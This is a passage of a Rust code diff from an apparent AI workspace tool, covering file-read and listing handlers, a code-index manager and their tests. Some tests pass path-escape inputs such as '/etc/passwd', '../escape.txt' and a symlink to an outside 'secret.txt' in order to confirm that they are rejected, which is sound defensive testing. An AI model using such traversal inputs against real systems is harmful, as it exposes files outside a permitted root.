// Server-side clamp: a hostile/buggy caller cannot lift the per-chunk
|
||||
// budget past MAX_READ_BYTES regardless of `maxBytes`.
|
||||
let length = super::walk::clamp_read_length(req.length, req.max_bytes);
|
||||
|
||||
let memo = &ws.shared.client_fs_hash_memo;
|
||||
let (hash, chunk, size) = match mtime_ms.and_then(|m| memo.lookup(&abs, size, m)) {
|
||||
Some(hash) => {
|
||||
let chunk = super::walk::read_range(&abs, offset, length)
|
||||
.await
|
||||
.map_err(read_err)?;
|
||||
(hash, chunk, size)
|
||||
}
|
||||
None => {
|
||||
let (hash, chunk, streamed) =
|
||||
crate::handle::stream_hash_and_range(&abs, offset, length)
|
||||
.await
|
||||
.map_err(read_err)?;
|
||||
if let Some(m) = mtime_ms {
|
||||
memo.store(&abs, streamed, m, hash.clone());
|
||||
}
|
||||
(hash, chunk, streamed)
|
||||
}
|
||||
};
|
||||
|
||||
// Shared encoder keeps the paired wire fields coherent with one UTF-8
|
||||
// validation pass; `type` is text iff the bytes were valid UTF-8.
|
||||
let (payload, is_text) = super::walk::encode_chunk(chunk, req.encoding);
|
||||
let (content, content_base64) = match payload {
|
||||
super::walk::ChunkPayload::Text(t) => (Some(t), None),
|
||||
super::walk::ChunkPayload::Base64(b) => (None, Some(b)),
|
||||
};
|
||||
let content_type = if is_text {
|
||||
FsContentType::Text
|
||||
} else {
|
||||
FsContentType::Binary
|
||||
};
|
||||
Ok(FsReadFileRes {
|
||||
content,
|
||||
content_base64,
|
||||
size,
|
||||
hash,
|
||||
content_type,
|
||||
})
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use base64::Engine;
|
||||
use kigi_workspace_types::rpc::fs::FsReadEncoding;
|
||||
|
||||
use super::*;
|
||||
use crate::handle::tests::make_handle;
|
||||
|
||||
fn list_req(path: &str) -> FsListReq {
|
||||
FsListReq {
|
||||
path: path.to_owned(),
|
||||
depth: 1,
|
||||
include_hidden: true,
|
||||
limit: 1000,
|
||||
offset: 0,
|
||||
follow_symlinks: true,
|
||||
respect_git_ignore: false,
|
||||
include_globs: vec![],
|
||||
exclude_globs: vec![],
|
||||
}
|
||||
}
|
||||
|
||||
/// Fixture: root with files `b.txt`, `A.txt`, `c.txt` and dirs
|
||||
/// `Zeta`, `alpha`. Expected order: dirs first case-insensitive
|
||||
/// (`alpha`, `Zeta`), then files (`A.txt`, `b.txt`, `c.txt`).
|
||||
fn populate(root: &Path) {
|
||||
std::fs::write(root.join("b.txt"), b"bb").unwrap();
|
||||
std::fs::write(root.join("A.txt"), b"a").unwrap();
|
||||
std::fs::write(root.join("c.txt"), b"ccc").unwrap();
|
||||
std::fs::create_dir(root.join("Zeta")).unwrap();
|
||||
std::fs::create_dir(root.join("alpha")).unwrap();
|
||||
}
|
||||
|
||||
/// `list_blocking` against `dir` as both walk root and workspace root
|
||||
/// (canonicalized for the confinement check, like production).
|
||||
fn list_dir(dir: &Path, req: &FsListReq, max_collect: usize) -> FsListRes {
|
||||
let canonical = dunce::canonicalize(dir).unwrap();
|
||||
list_blocking(dir, dir, &canonical, req, max_collect).unwrap()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn list_sorts_dirs_first_case_insensitive() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
populate(dir.path());
|
||||
let res = list_dir(dir.path(), &list_req(""), MAX_LIST_COLLECT);
|
||||
let names: Vec<&str> = res.nodes.iter().map(|n| n.name.as_str()).collect();
|
||||
assert_eq!(names, ["alpha", "Zeta", "A.txt", "b.txt", "c.txt"]);
|
||||
assert!(!res.truncated);
|
||||
assert_eq!(res.nodes[0].node_type, FsNodeType::Directory);
|
||||
assert_eq!(res.nodes[2].node_type, FsNodeType::File);
|
||||
assert_eq!(res.nodes[2].size, Some(1));
|
||||
assert!(res.nodes[2].mtime_ms.is_some());
|
||||
// Paths are workspace-root-relative.
|
||||
assert_eq!(res.nodes[2].path, "A.txt");
|
||||
}
|
||||
|
||||
/// Pagination slices the *sorted* listing, so consecutive pages have
|
||||
/// stable boundaries and concatenate to the full listing.
|
||||
#[test]
|
||||
fn list_paginates_post_sort_with_stable_boundaries() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
populate(dir.path());
|
||||
let full = list_dir(dir.path(), &list_req(""), MAX_LIST_COLLECT);
|
||||
|
||||
let mut paged = Vec::new();
|
||||
for page_start in [0u64, 2, 4] {
|
||||
let req = FsListReq {
|
||||
limit: 2,
|
||||
offset: page_start,
|
||||
..list_req("")
|
||||
};
|
||||
let page = list_dir(dir.path(), &req, MAX_LIST_COLLECT);
|
||||
// truncated while more entries remain past this page.
|
||||
assert_eq!(page.truncated, page_start + 2 < full.nodes.len() as u64);
|
||||
paged.extend(page.nodes);
|
||||
}
|
||||
assert_eq!(paged, full.nodes);
|
||||
|
||||
// Offset past the end yields an empty, non-truncated page.
|
||||
let req = FsListReq {
|
||||
offset: 100,
|
||||
..list_req("")
|
||||
};
|
||||
let page = list_dir(dir.path(), &req, MAX_LIST_COLLECT);
|
||||
assert!(page.nodes.is_empty());
|
||||
assert!(!page.truncated);
|
||||
}
|
||||
|
||||
/// The collection cap marks the result truncated even when the page
|
||||
/// itself is not full.
|
||||
#[test]
|
||||
fn list_collection_cap_truncates() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
populate(dir.path());
|
||||
let res = list_dir(dir.path(), &list_req(""), 2);
|
||||
assert_eq!(res.nodes.len(), 2);
|
||||
assert!(res.truncated);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn list_caps_limit_at_server_max() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
populate(dir.path());
|
||||
let req = FsListReq {
|
||||
limit: u32::MAX,
|
||||
..list_req("")
|
||||
};
|
||||
// Must not panic / overflow; the page is everything (< 1000).
|
||||
let res = list_dir(dir.path(), &req, MAX_LIST_COLLECT);
|
||||
assert_eq!(res.nodes.len(), 5);
|
||||
}
|
||||
|
||||
/// Regression: the list walk must not traverse — or
|
||||
/// even surface — in-root symlinks that resolve outside the workspace
|
||||
/// root, while symlinks staying inside the root keep working.
|
||||
#[test]
|
||||
#[cfg(unix)]
|
||||
fn list_excludes_symlink_escapes_mid_walk() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
let root = dir.path();
|
||||
let outside = tempfile::tempdir().unwrap();
|
||||
std::fs::write(outside.path().join("secret.txt"), b"secret").unwrap();
|
||||
// Escaping symlink: root/escape_link -> <outside>.
|
||||
std::os::unix::fs::symlink(outside.path(), root.join("escape_link")).unwrap();
|
||||
// In-root symlink: root/good_link -> root/real_dir.
|
||||
std::fs::create_dir(root.join("real_dir")).unwrap();
|
||||
std::fs::write(root.join("real_dir/inner.txt"), b"inner").unwrap();
|
||||
std::os::unix::fs::symlink(root.join("real_dir"), root.join("good_link")).unwrap();
|
||||
|
||||
let req = FsListReq {
|
||||
depth: 2,
|
||||
follow_symlinks: true,
|
||||
..list_req("")
|
||||
};
|
||||
let res = list_dir(root, &req, MAX_LIST_COLLECT);
|
||||
let paths: Vec<&str> = res.nodes.iter().map(|n| n.path.as_str()).collect();
|
||||
assert!(
|
||||
!paths.iter().any(|p| p.contains("escape_link")),
|
||||
"escaping symlink (and its subtree) must be excluded: {paths:?}"
|
||||
);
|
||||
assert!(
|
||||
!paths.iter().any(|p| p.contains("secret.txt")),
|
||||
"outside entries must not be enumerated: {paths:?}"
|
||||
);
|
||||
// Confinement must not over-filter: in-root symlinks survive,
|
||||
// including descent through them.
|
||||
assert!(paths.contains(&"good_link"), "{paths:?}");
|
||||
assert!(paths.contains(&"good_link/inner.txt"), "{paths:?}");
|
||||
assert!(paths.contains(&"real_dir/inner.txt"), "{paths:?}");
|
||||
let good = res.nodes.iter().find(|n| n.path == "good_link").unwrap();
|
||||
assert_eq!(good.is_symlink, Some(true));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn memo_lookup_hits_and_invalidates_on_mismatch() {
|
||||
let memo = FileHashMemo::default();
|
||||
let path = Path::new("/ws/a.txt");
|
||||
memo.store(path, 10, 1000, "h1".into());
|
||||
assert_eq!(memo.lookup(path, 10, 1000).as_deref(), Some("h1"));
|
||||
// Size change ⇒ miss.
|
||||
assert_eq!(memo.lookup(path, 11, 1000), None);
|
||||
// Mtime change ⇒ miss.
|
||||
assert_eq!(memo.lookup(path, 10, 2000), None);
|
||||
// Re-store replaces the stale entry.
|
||||
memo.store(path, 11, 2000, "h2".into());
|
||||
assert_eq!(memo.lookup(path, 11, 2000).as_deref(), Some("h2"));
|
||||
assert_eq!(memo.lookup(path, 10, 1000), None);
|
||||
}
|
||||
|
||||
/// `stat` consults the memo (no re-hash for an unchanged file) and
|
||||
/// recomputes when `(size, mtime)` no longer match.
|
||||
#[tokio::test]
|
||||
async fn stat_uses_memo_until_file_changes() {
|
||||
let ws = make_handle();
|
||||
let root = ws.root_cwd().unwrap();
|
||||
std::fs::write(root.join("data.txt"), b"hello world").unwrap();
|
||||
|
||||
let req = FsStatReq {
|
||||
path: "data.txt".into(),
|
||||
};
|
||||
let first = stat(&ws, &req).await.unwrap();
|
||||
assert!(first.exists);
|
||||
assert_eq!(first.node_type, Some(FsNodeType::File));
|
||||
assert_eq!(first.size, Some(11));
|
||||
let real_hash = first.hash.clone().expect("hash for files");
|
||||
|
||||
// Plant a sentinel hash for the file's current (size, mtime). A
|
||||
// second stat must return the sentinel — proof it did not re-hash.
|
||||
let abs = root.join("data.txt");
|
||||
let md = std::fs::metadata(&abs).unwrap();
|
||||
let mtime = system_time_ms(md.modified().unwrap());
|
||||
ws.shared
|
||||
.client_fs_hash_memo
|
||||
.store(&abs, md.len(), mtime, "sentinel".into());
|
||||
let memoized = stat(&ws, &req).await.unwrap();
|
||||
assert_eq!(memoized.hash.as_deref(), Some("sentinel"));
|
||||
|
||||
// A size change invalidates the memo entry and re-hashes.
|
||||
std::fs::write(&abs, b"hello brave new world").unwrap();
|
||||
let rehashed = stat(&ws, &req).await.unwrap();
|
||||
let new_hash = rehashed.hash.expect("hash for files");
|
||||
assert_ne!(new_hash, "sentinel");
|
||||
assert_ne!(new_hash, real_hash);
|
||||
}
|
||||
|
||||
/// A path with a *file* as an intermediate component (`ENOTDIR`) is an
|
||||
/// existence miss, not an RPC error.
|
||||
#[tokio::test]
|
||||
async fn stat_enotdir_intermediate_reports_not_exists() {
|
||||
let ws = make_handle();
|
||||
let root = ws.root_cwd().unwrap();
|
||||
std::fs::write(root.join("file.txt"), b"x").unwrap();
|
||||
let res = stat(
|
||||
&ws,
|
||||
&FsStatReq {
|
||||
path: "file.txt/nested".into(),
|
||||
},
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
assert!(!res.exists);
|
||||
assert_eq!(res.node_type, None);
|
||||
assert_eq!(res.hash, None);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn stat_missing_path_reports_not_exists() {
|
||||
let ws = make_handle();
|
||||
let res = stat(
|
||||
&ws,
|
||||
&FsStatReq {
|
||||
path: "nope.txt".into(),
|
||||
},
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
assert!(!res.exists);
|
||||
assert_eq!(res.node_type, None);
|
||||
assert_eq!(res.hash, None);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn read_file_chunks_are_binary_safe_and_capped() {
|
||||
let ws = make_handle();
|
||||
let root = ws.root_cwd().unwrap();
|
||||
// Non-UTF-8 payload: every byte value once.
|
||||
let payload: Vec<u8> = (0u8..=255).collect();
|
||||
std::fs::write(root.join("blob.bin"), &payload).unwrap();
|
||||
|
||||
let req = FsReadFileReq {
|
||||
path: "blob.bin".into(),
|
||||
// Bytes 200..210 are bare continuation bytes — never valid UTF-8.
|
||||
offset: Some(200),
|
||||
length: Some(50),
|
||||
max_bytes: 10, // cap below the requested length
|
||||
encoding: FsReadEncoding::Base64,
|
||||
};
|
||||
let res = read_file(&ws, &req).await.unwrap();
|
||||
assert_eq!(res.size, 256);
|
||||
assert_eq!(res.content, None);
|
||||
assert_eq!(res.content_type, FsContentType::Binary);
|
||||
let bytes = base64::engine::general_purpose::STANDARD
|
||||
.decode(res.content_base64.unwrap())
|
||||
.unwrap();
|
||||
assert_eq!(bytes, payload[200..210], "maxBytes caps the chunk");
|
||||
|
||||
// Full-file hash regardless of the requested range.
|
||||
use sha2::{Digest, Sha256};
|
||||
assert_eq!(res.hash, format!("{:x}", Sha256::digest(&payload)));
|
||||
|
||||
// Memoized second read (range-only fast path) returns the
|
||||
// identical chunk + hash.
|
||||
let again = read_file(&ws, &req).await.unwrap();
|
||||
assert_eq!(again.hash, res.hash);
|
||||
let again_bytes = base64::engine::general_purpose::STANDARD
|
||||
.decode(again.content_base64.unwrap())
|
||||
.unwrap();
|
||||
assert_eq!(again_bytes, payload[200..210]);
|
||||
}
|
||||
|
||||
/// `maxBytes` is server-capped at [`MAX_READ_BYTES`]:
|
||||
/// a caller-supplied huge budget cannot make the workspace buffer the
|
||||
/// whole file.
|
||||
#[tokio::test]
|
||||
async fn read_file_server_caps_max_bytes() {
|
||||
let ws = make_handle();
|
||||
let root = ws.root_cwd().unwrap();
|
||||
let payload = vec![0u8; (MAX_READ_BYTES + 100) as usize];
|
||||
std::fs::write(root.join("big.bin"), &payload).unwrap();
|
||||
|
||||
let res = read_file(
|
||||
&ws,
|
||||
&FsReadFileReq {
|
||||
path: "big.bin".into(),
|
||||
offset: None,
|
||||
length: None,
|
||||
max_bytes: u64::MAX,
|
||||
encoding: FsReadEncoding::Base64,
|
||||
},
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(res.size, payload.len() as u64);
|
||||
let bytes = base64::engine::general_purpose::STANDARD
|
||||
.decode(res.content_base64.unwrap())
|
||||
.unwrap();
|
||||
assert_eq!(
|
||||
bytes.len() as u64,
|
||||
MAX_READ_BYTES,
|
||||
"clamped to the server cap"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn read_file_utf8_default_and_binary_fallback() {
|
||||
let ws = make_handle();
|
||||
let root = ws.root_cwd().unwrap();
|
||||
std::fs::write(root.join("text.txt"), "héllo").unwrap();
|
||||
std::fs::write(root.join("bin.dat"), [0xff, 0xfe, 0x00]).unwrap();
|
||||
|
||||
let text = read_file(
|
||||
&ws,
|
||||
&FsReadFileReq {
|
||||
path: "text.txt".into(),
|
||||
offset: None,
|
||||
length: None,
|
||||
max_bytes: 1_048_576,
|
||||
encoding: FsReadEncoding::Utf8,
|
||||
},
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(text.content.as_deref(), Some("héllo"));
|
||||
assert_eq!(text.content_base64, None);
|
||||
assert_eq!(text.content_type, FsContentType::Text);
|
||||
|
||||
// Invalid UTF-8 under the utf8 default degrades to base64.
|
||||
let bin = read_file(
|
||||
&ws,
|
||||
&FsReadFileReq {
|
||||
path: "bin.dat".into(),
|
||||
offset: None,
|
||||
length: None,
|
||||
max_bytes: 1_048_576,
|
||||
encoding: FsReadEncoding::Utf8,
|
||||
},
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(bin.content, None);
|
||||
assert_eq!(bin.content_type, FsContentType::Binary);
|
||||
let bytes = base64::engine::general_purpose::STANDARD
|
||||
.decode(bin.content_base64.unwrap())
|
||||
.unwrap();
|
||||
assert_eq!(bytes, [0xff, 0xfe, 0x00]);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn resolve_rejects_escapes() {
|
||||
let ws = make_handle();
|
||||
for path in ["/etc/passwd", "../escape.txt"] {
|
||||
let err = stat(
|
||||
&ws,
|
||||
&FsStatReq {
|
||||
path: path.to_owned(),
|
||||
},
|
||||
)
|
||||
.await
|
||||
.expect_err("escape must be rejected");
|
||||
assert!(matches!(err, WorkspaceError::HubError(_)), "{err:?}");
|
||||
}
|
||||
}
|
||||
|
||||
/// An absolute path *inside* the workspace root is accepted and stats
|
||||
/// the same file as its root-relative form.
|
||||
#[tokio::test]
|
||||
async fn resolve_accepts_absolute_within_root() {
|
||||
let ws = make_handle();
|
||||
let root = ws.root_cwd().unwrap();
|
||||
std::fs::write(root.join("data.txt"), b"hello").unwrap();
|
||||
|
||||
let rel = stat(
|
||||
&ws,
|
||||
&FsStatReq {
|
||||
path: "data.txt".into(),
|
||||
},
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
assert!(rel.exists);
|
||||
|
||||
let abs_path = root.join("data.txt").to_string_lossy().into_owned();
|
||||
let abs = stat(&ws, &FsStatReq { path: abs_path }).await.unwrap();
|
||||
assert!(abs.exists);
|
||||
assert_eq!(abs.node_type, rel.node_type);
|
||||
assert_eq!(abs.size, rel.size);
|
||||
assert_eq!(abs.hash, rel.hash);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
#[cfg(unix)]
|
||||
async fn resolve_rejects_symlink_escape() {
|
||||
let ws = make_handle();
|
||||
let root = ws.root_cwd().unwrap();
|
||||
let outside = tempfile::tempdir().unwrap();
|
||||
std::fs::write(outside.path().join("secret.txt"), b"secret").unwrap();
|
||||
std::os::unix::fs::symlink(outside.path(), root.join("escape_link")).unwrap();
|
||||
|
||||
let err = read_file(
|
||||
&ws,
|
||||
&FsReadFileReq {
|
||||
path: "escape_link/secret.txt".into(),
|
||||
offset: None,
|
||||
length: None,
|
||||
max_bytes: 1_048_576,
|
||||
encoding: FsReadEncoding::Base64,
|
||||
},
|
||||
)
|
||||
.await
|
||||
.expect_err("symlink escape must be rejected");
|
||||
assert!(
|
||||
err.to_string().contains("symlink escape"),
|
||||
"unexpected error: {err}"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn list_empty_path_lists_root() {
|
||||
let ws = make_handle();
|
||||
let root = ws.root_cwd().unwrap();
|
||||
std::fs::write(root.join("rooted.txt"), b"x").unwrap();
|
||||
let res = list(&ws, &list_req("")).await.unwrap();
|
||||
assert!(res.nodes.iter().any(|n| n.name == "rooted.txt"));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,306 @@
|
||||
//! Codebase Index Manager
|
||||
//!
|
||||
//! Manages code graph indexes for code navigation features (go-to-definition, go-to-references).
|
||||
//! Indexes are shared across sessions with the same cwd to avoid duplicate work.
|
||||
//!
|
||||
//! ## Deduplication
|
||||
//!
|
||||
//! Deduplication happens at two levels:
|
||||
//! 1. **Process-level**: `IndexManager::spawn()` ensures at most one manager per workspace per process
|
||||
//! 2. **Cross-process**: File-based locking prevents duplicate background operations
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::sync::{Arc, Weak};
|
||||
|
||||
use kigi_codebase_graph::{IndexManager, IndexManagerConfig, IndexManagerHandle};
|
||||
|
||||
use kigi_tools::util::kigi_home::kigi_home;
|
||||
|
||||
/// Get the cache path for a cwd's index.
|
||||
///
|
||||
/// Cache is stored in: `~/.kigi/indexes/{url_encoded_cwd}/goto_index.bin`
|
||||
pub fn get_index_cache_path(cwd: &Path) -> PathBuf {
|
||||
let encoded = urlencoding::encode(&cwd.to_string_lossy()).into_owned();
|
||||
kigi_home()
|
||||
.join("indexes")
|
||||
.join(encoded)
|
||||
.join("goto_index.bin")
|
||||
}
|
||||
|
||||
/// Manages code graph indexes across sessions.
|
||||
///
|
||||
/// Wraps `IndexManager::spawn()` with cache-path config and cross-session
|
||||
/// handle reuse. Keeps only `Weak` refs — sessions hold the strong `Arc`s,
|
||||
/// so the actor is reaped when the last session in a git-root closes.
|
||||
pub struct CodebaseIndexManager {
|
||||
indexes: HashMap<PathBuf, Weak<IndexManagerHandle>>,
|
||||
}
|
||||
|
||||
impl Default for CodebaseIndexManager {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
|
||||
impl CodebaseIndexManager {
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
indexes: HashMap::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Get or create the index for `cwd`. Returns `(handle, was_newly_spawned)`.
|
||||
/// Caller must hold the `Arc` to keep the index alive.
|
||||
pub fn get_or_create(&mut self, cwd: PathBuf) -> (Arc<IndexManagerHandle>, bool) {
|
||||
self.indexes.retain(|_, weak| weak.strong_count() > 0);
|
||||
|
||||
if let Some(handle) = self.indexes.get(&cwd).and_then(Weak::upgrade) {
|
||||
tracing::info!(
|
||||
cwd = %cwd.display(),
|
||||
event = "index_reused",
|
||||
"Codebase index already running — reusing shared handle"
|
||||
);
|
||||
return (handle, false);
|
||||
}
|
||||
|
||||
// Create cache directory if needed
|
||||
let cache_path = get_index_cache_path(&cwd);
|
||||
if let Some(parent) = cache_path.parent()
|
||||
&& let Err(e) = std::fs::create_dir_all(parent)
|
||||
{
|
||||
tracing::warn!(
|
||||
path = %parent.display(),
|
||||
error = %e,
|
||||
"Failed to create cache directory"
|
||||
);
|
||||
}
|
||||
|
||||
tracing::info!(
|
||||
cwd = %cwd.display(),
|
||||
cache_path = %cache_path.display(),
|
||||
event = "index_lazy_started",
|
||||
"Codebase index lazy-started — spawning IndexManager actor"
|
||||
);
|
||||
|
||||
// IndexManager::spawn() handles global deduplication.
|
||||
let config = IndexManagerConfig::new(cwd.clone()).with_cache_path(cache_path);
|
||||
let handle = IndexManager::spawn(config);
|
||||
|
||||
self.indexes.insert(cwd, Arc::downgrade(&handle));
|
||||
(handle, true)
|
||||
}
|
||||
|
||||
/// Get the running index for `cwd`, or `None` if not started / already reaped.
|
||||
pub fn get(&self, cwd: &Path) -> Option<Arc<IndexManagerHandle>> {
|
||||
self.indexes.get(cwd).and_then(Weak::upgrade)
|
||||
}
|
||||
|
||||
/// Returns the number of currently-live indexes (test helper).
|
||||
#[cfg(test)]
|
||||
pub(crate) fn active_count(&self) -> usize {
|
||||
self.indexes
|
||||
.values()
|
||||
.filter(|weak| weak.strong_count() > 0)
|
||||
.count()
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_cache_path_encoding() {
|
||||
let cwd = Path::new("/Users/test/my project");
|
||||
let cache_path = get_index_cache_path(cwd);
|
||||
|
||||
// Should contain URL-encoded path
|
||||
assert!(cache_path.to_string_lossy().contains("%2F"));
|
||||
assert!(cache_path.to_string_lossy().ends_with("goto_index.bin"));
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Lazy-start mechanic tests
|
||||
//
|
||||
// These tests verify the core lazy-start behavior:
|
||||
// `CodebaseIndexManager::get()` returns None before the index is created,
|
||||
// which maps to `x.ai/code/status` reporting `reason: notStarted`.
|
||||
// `get_or_create()` is the lazy-start entry point called by
|
||||
// `MvpAgent::start_codebase_index_for_code_nav` on the first code-nav
|
||||
// request for an eligible session.
|
||||
// =========================================================================
|
||||
|
||||
/// An empty CodebaseIndexManager returns None for any path.
|
||||
///
|
||||
/// This is the steady-state before ANY code-nav request has been made.
|
||||
/// In `x.ai/code/status`, `resolve_index_handle()` calls
|
||||
/// `agent.get_codebase_index(cwd)` which calls `mgr.get(cwd)`.
|
||||
/// When this returns None the status reports `reason: notStarted` — the
|
||||
/// key non-starting guarantee from the plan.
|
||||
#[test]
|
||||
fn test_get_returns_none_before_any_index_created() {
|
||||
let mgr = CodebaseIndexManager::new();
|
||||
assert!(
|
||||
mgr.get(Path::new("/some/repo")).is_none(),
|
||||
"get() must return None before get_or_create() is called — this is \
|
||||
the CodebaseIndexManager state that causes code/status to report notStarted"
|
||||
);
|
||||
}
|
||||
|
||||
/// get() returns None even after another path was indexed.
|
||||
///
|
||||
/// Proves path-scoped isolation: a different cwd's index does not
|
||||
/// satisfy a lookup for an unrelated path.
|
||||
#[test]
|
||||
fn test_get_returns_none_for_different_cwd() {
|
||||
let temp = tempfile::tempdir().unwrap();
|
||||
let root_a = temp.path().join("repo_a");
|
||||
let root_b = temp.path().join("repo_b");
|
||||
std::fs::create_dir_all(&root_a).unwrap();
|
||||
|
||||
let mut mgr = CodebaseIndexManager::new();
|
||||
let (_handle, _) = mgr.get_or_create(root_a.clone());
|
||||
|
||||
// root_b was never indexed — must return None.
|
||||
assert!(
|
||||
mgr.get(&root_b).is_none(),
|
||||
"get() for an un-indexed path must return None (path-scoped isolation)"
|
||||
);
|
||||
}
|
||||
|
||||
/// After get_or_create() the same path is found by get().
|
||||
///
|
||||
/// This is the lazy-start path: `get_or_create` is called by
|
||||
/// `start_codebase_index_for_code_nav` on the first eligible code-nav
|
||||
/// request, after which `get_codebase_index` (used by `resolve_index_handle`
|
||||
/// in `code_status`) returns `Some`.
|
||||
#[test]
|
||||
fn test_get_finds_handle_after_get_or_create() {
|
||||
let temp = tempfile::tempdir().unwrap();
|
||||
let root = temp.path().to_path_buf();
|
||||
|
||||
let mut mgr = CodebaseIndexManager::new();
|
||||
|
||||
// Before lazy-start: get() returns None.
|
||||
assert!(mgr.get(&root).is_none(), "no index before get_or_create");
|
||||
|
||||
// Lazy-start: this is what start_codebase_index_for_code_nav calls.
|
||||
let (handle, was_new) = mgr.get_or_create(root.clone());
|
||||
assert!(was_new, "first get_or_create must report newly spawned");
|
||||
assert_eq!(mgr.active_count(), 1);
|
||||
|
||||
let found = mgr
|
||||
.get(&root)
|
||||
.expect("index must be visible after get_or_create");
|
||||
assert!(
|
||||
Arc::ptr_eq(&handle, &found),
|
||||
"get() must return the same Arc as get_or_create() — dedup / reuse"
|
||||
);
|
||||
}
|
||||
|
||||
/// The index is reaped once the last strong handle drops.
|
||||
///
|
||||
/// This is the eviction guarantee: the manager holds only a `Weak`, so when
|
||||
/// the last session pinning a git-root is torn down (here simulated by
|
||||
/// dropping the sole `Arc`), `get()` stops returning the handle and the
|
||||
/// entry no longer counts as active — no per-repo accumulation in a
|
||||
/// long-lived leader process.
|
||||
#[test]
|
||||
fn test_index_evicted_when_last_strong_ref_dropped() {
|
||||
let temp = tempfile::tempdir().unwrap();
|
||||
let root = temp.path().to_path_buf();
|
||||
|
||||
let mut mgr = CodebaseIndexManager::new();
|
||||
let (handle, _) = mgr.get_or_create(root.clone());
|
||||
assert_eq!(mgr.active_count(), 1, "index live while strong ref held");
|
||||
assert!(mgr.get(&root).is_some());
|
||||
|
||||
// The agent (here: this test) was the only strong owner.
|
||||
drop(handle);
|
||||
|
||||
assert!(
|
||||
mgr.get(&root).is_none(),
|
||||
"index must be released once the last strong ref drops"
|
||||
);
|
||||
assert_eq!(
|
||||
mgr.active_count(),
|
||||
0,
|
||||
"a reaped index must not count as active"
|
||||
);
|
||||
}
|
||||
|
||||
/// Shared index across sessions: reaped only after the last strong ref drops.
|
||||
#[test]
|
||||
fn test_shared_index_evicted_only_after_last_session_drops() {
|
||||
let temp = tempfile::tempdir().unwrap();
|
||||
let root = temp.path().to_path_buf();
|
||||
|
||||
let mut mgr = CodebaseIndexManager::new();
|
||||
|
||||
let (session_a, was_new_a) = mgr.get_or_create(root.clone());
|
||||
let (session_b, was_new_b) = mgr.get_or_create(root.clone());
|
||||
|
||||
assert!(was_new_a, "first session must spawn the index");
|
||||
assert!(!was_new_b, "second session must reuse the shared index");
|
||||
assert!(
|
||||
Arc::ptr_eq(&session_a, &session_b),
|
||||
"both sessions must share one index handle (Arc::ptr_eq)"
|
||||
);
|
||||
assert_eq!(
|
||||
mgr.active_count(),
|
||||
1,
|
||||
"two sessions in one git-root back exactly one index"
|
||||
);
|
||||
|
||||
// First session ends: the index stays warm for the surviving session.
|
||||
drop(session_a);
|
||||
assert!(
|
||||
mgr.get(&root).is_some(),
|
||||
"index must survive while another session still pins it"
|
||||
);
|
||||
assert_eq!(
|
||||
mgr.active_count(),
|
||||
1,
|
||||
"index still live after only the first session drops"
|
||||
);
|
||||
|
||||
// Last session ends: now — and only now — the index is reaped.
|
||||
drop(session_b);
|
||||
assert!(
|
||||
mgr.get(&root).is_none(),
|
||||
"index must be released once the LAST session drops its ref"
|
||||
);
|
||||
assert_eq!(
|
||||
mgr.active_count(),
|
||||
0,
|
||||
"a reaped shared index must not count as active"
|
||||
);
|
||||
}
|
||||
|
||||
/// A second get_or_create() for the same path reuses the existing handle.
|
||||
///
|
||||
/// This corresponds to "subsequent code-nav requests reuse the same shared
|
||||
/// handle" from the plan: once the index is running, all subsequent
|
||||
/// get_or_create calls for the same path return the existing Arc.
|
||||
#[test]
|
||||
fn test_get_or_create_is_idempotent_for_same_path() {
|
||||
let temp = tempfile::tempdir().unwrap();
|
||||
let root = temp.path().to_path_buf();
|
||||
|
||||
let mut mgr = CodebaseIndexManager::new();
|
||||
let (h1, was_new_1) = mgr.get_or_create(root.clone());
|
||||
let (h2, was_new_2) = mgr.get_or_create(root.clone());
|
||||
|
||||
assert!(was_new_1, "first call must report newly spawned");
|
||||
assert!(
|
||||
!was_new_2,
|
||||
"second call must report reused (not newly spawned)"
|
||||
);
|
||||
assert!(
|
||||
Arc::ptr_eq(&h1, &h2),
|
||||
"second get_or_create must return the same Arc as the first (index reuse)"
|
||||
);
|
||||
assert_eq!(mgr.active_count(), 1, "only one index for one path");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,271 @@
|
||||
use std::path::Path;
|
||||
use std::process::Stdio;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::time::Instant;
|
||||
|
||||
use tokio::io::{AsyncBufReadExt, BufReader};
|
||||
use tokio::process::Command;
|
||||
|
||||
// Canonical in kigi-workspace-types; re-exported for existing paths.
|
||||
pub use kigi_workspace_types::rpc::search::{ContentMatch, ContentMatchFile, ContentSearchData};
|
||||
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct ContentSearchParams {
|
||||
pub pattern: String,
|
||||
pub case_insensitive: bool,
|
||||
pub literal: bool,
|
||||
